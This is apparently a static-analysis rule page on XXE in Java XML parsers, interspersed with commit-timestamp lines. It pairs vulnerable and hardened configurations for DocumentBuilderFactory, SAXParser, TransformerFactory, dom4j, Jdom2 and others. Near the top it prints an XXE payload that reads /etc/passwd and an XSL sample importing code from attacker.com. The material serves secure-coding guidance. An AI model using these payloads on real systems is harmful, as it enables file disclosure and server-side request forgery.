2020-12-21 15:38:52 +01:00
https://www.w3.org/TR/xml/[XML specification] allows the use of entities that can be https://www.w3.org/TR/xml/#sec-internal-ent[internal] or https://www.w3.org/TR/xml/#sec-external-ent[external] (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or https://www.owasp.org/index.php/Server_Side_Request_Forgery[SSRFs].
2020-06-30 14:41:58 +02:00
2021-02-02 15:02:10 +01:00
2020-12-21 15:38:52 +01:00
Example in this XML document, an external entity read the /etc/passwd file:
2020-06-30 14:41:58 +02:00
----
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
2020-12-21 15:38:52 +01:00
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
2020-06-30 14:41:58 +02:00
<to>&xxe;</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
----
2020-12-21 15:38:52 +01:00
In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:
2020-06-30 14:41:58 +02:00
----
<?xml version="1.0" encoding="UTF-8"?>
2020-12-21 15:38:52 +01:00
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
2020-06-30 14:41:58 +02:00
<xsl:import href="http://www.attacker.com/evil.xsl"/>
<xsl:include href="http://www.attacker.com/evil.xsl"/>
<xsl:template match="/">
&content;
</xsl:template>
</xsl:stylesheet>
----
2020-12-21 15:38:52 +01:00
It is recommended to disable access to external entities and network access in general.
2020-06-30 14:41:58 +02:00
2021-02-02 15:02:10 +01:00
2020-12-21 15:38:52 +01:00
To protect Java XML Parsers from XXE attacks https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-94ABC0EE-9DC8-44F0-84AD-47ADD5340477[these properties] have been defined since JAXP 1.5:
2020-06-30 14:41:58 +02:00
* ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
* ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
* ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);
2021-01-27 13:42:22 +01:00
Note that http://xerces.apache.org/xerces2-j/[Apache Xerces] is still based on JAXP 1.4, therefore one solution is to set to ``++false++`` the http://xerces.apache.org/xerces2-j/features.html#external-general-entities[external-general-entities] feature.
2020-12-21 15:38:52 +01:00
2021-02-02 15:02:10 +01:00
2020-06-30 14:41:58 +02:00
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
* it has https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-88B04BE2-35EF-4F61-B4FA-57A0E9102342[no effect] to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
* or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).
2021-02-23 01:11:03 +00:00
When setting https://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setEntityResolver(org.xml.sax.EntityResolver)[an entity resolver] to ``++null++`` (eg: ``++setEntityResolver(null)++``) the parser will use its own resolution, which is unsafe.
2020-06-30 14:41:58 +02:00
== Noncompliant Code Examples
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/DocumentBuilderFactory.html[DocumentBuilderFactory] library:
----
String xml = "xxe.xml";
2021-02-19 01:13:55 +00:00
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder(); // Noncompliant
2020-06-30 14:41:58 +02:00
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/SAXParserFactory.html[SAXParserFactory] library:
----
String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser(); // Noncompliant
parser.parse(xml, handler);
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/stream/XMLInputFactory.html[XMLInputFactory] library:
----
XMLInputFactory factory = XMLInputFactory.newInstance(); // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/transform/TransformerFactory.html[TransformerFactory] library:
----
String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/SchemaFactory.html[SchemaFactory] library:
----
String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/Validator.html[Validator] library:
----
String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator(); // Noncompliant
StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));
----
https://dom4j.github.io/[Dom4j] library:
----
SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);
----
http://www.jdom.org/[Jdom2] library:
----
SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));
----
== Compliant Solution
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/DocumentBuilderFactory.html[DocumentBuilderFactory] library:
----
String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/parsers/SAXParserFactory.html[SAXParserFactory] library:
----
String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/stream/XMLInputFactory.html[XMLInputFactory] library:
----
XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/transform/TransformerFactory.html[TransformerFactory] library:
----
String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/SchemaFactory.html[SchemaFactory] library:
----
String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);
----
https://docs.oracle.com/javase/9/docs/api/javax/xml/validation/Validator.html[Validator] library:
----
String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));
----
For https://dom4j.github.io/[dom4j] library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:
----
SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);
----
http://www.jdom.org/[Jdom2] library:
----
SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));
----
== See
* https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)[OWASP Top 10 2017 Category A4] - XML External Entities (XXE)
* https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java[OWASP XXE Prevention Cheat Sheet]
* http://cwe.mitre.org/data/definitions/611.html[MITRE, CWE-611] - Information Exposure Through XML External Entity Reference
* http://cwe.mitre.org/data/definitions/827.html[MITRE, CWE-827] - Improper Control of Document Type Definition